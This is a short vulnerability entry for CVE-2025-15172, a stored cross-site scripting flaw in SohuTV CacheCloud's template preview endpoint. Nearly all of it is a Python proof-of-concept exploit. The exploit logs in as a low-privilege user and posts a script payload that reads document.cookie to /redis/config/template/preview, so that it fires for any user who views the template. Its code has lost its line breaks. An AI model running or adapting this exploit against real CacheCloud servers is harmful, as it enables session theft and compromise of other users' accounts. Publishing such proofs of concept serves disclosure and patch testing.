CVE-2025-15172 SohuTV CacheCloud preview函数跨站脚本漏洞

import requests import json # CVE-2025-15172 PoC - Stored XSS in SohuTV CacheCloud # Target: SohuTV CacheCloud <= 3.2.0 # Endpoint: /redis/config/template/preview TARGET_URL = "http://target-server:8080" LOGIN_URL = f"{TARGET_URL}/login" PREVIEW_URL = f"{TARGET_URL}/redis/config/template/preview" # XSS Payload XSS_PAYLOAD = "<script>alert(document.cookie)</script>" def exploit(): """ Exploit stored XSS in RedisConfigTemplateController preview function """ session = requests.Session() # Step 1: Login with low privilege account login_data = { "username": "attacker_user", "password": "password123" } session.post(LOGIN_URL, data=login_data) # Step 2: Submit malicious XSS payload via template preview exploit_data = { "templateName": "malicious-template", "templateContent": XSS_PAYLOAD, "templateType": "redis" } response = session.post(PREVIEW_URL, data=exploit_data) if response.status_code == 200: print("[+] XSS payload stored successfully") print("[*] Any user viewing this template will trigger the XSS") else: print("[-] Exploitation failed") if __name__ == "__main__": exploit()